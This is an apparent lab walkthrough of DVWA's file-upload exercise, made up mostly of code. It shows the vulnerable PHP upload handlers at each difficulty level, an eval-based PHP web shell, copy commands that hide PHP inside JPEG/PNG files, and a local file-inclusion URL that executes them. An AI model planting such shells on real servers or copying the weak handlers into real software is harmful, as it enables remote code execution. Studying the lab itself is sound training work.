web基础—dvwa靶场（五）File Upload - IT评测·应用市场-qidao123.com技术社区

<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// Can we move the file to the upload folder?
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>

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<?php @eval($_POST['attack']) ?>

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<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// File information
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
// Is it an image?
if(($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000)){
// Can we move the file to the upload folder?
if(!move_uploaded_file( $_FILES['uploaded']['tmp_name'], $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else{
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

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<?php
if(isset($_POST['Upload'])){
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
// File information
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr( $uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
// Is it an image?
if((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png")
&&($uploaded_size < 100000) && getimagesize( $uploaded_tmp)){
// Can we move the file to the upload folder?
if(!move_uploaded_file($uploaded_tmp, $target_path)){
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else{
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else{
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>

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copy 1.jpg/b + 1.php/a 2.jpg

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http://localhost/dvwa-master/vulnerabilities/fi/?page=file:///D:\DVWA-master\hackable\uploads\2.jpg

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copy phpinfo.png/b+phpinfo.php/a phpinfo.png

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<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

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